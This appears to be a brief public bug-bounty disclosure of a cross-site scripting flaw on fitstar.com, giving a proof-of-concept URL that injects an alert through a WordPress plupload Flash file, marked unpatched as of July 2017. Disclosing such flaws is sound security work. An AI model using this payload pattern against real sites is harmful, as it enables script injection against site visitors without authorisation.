fitstar.com XSS vulnerability

Vulnerable URL: http://fitstar.com//wp-includes/js/plupload/plupload.flash.swf?%target%g=alert%g=/OPENBUGBOUNTY/& Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 155050 VIP website...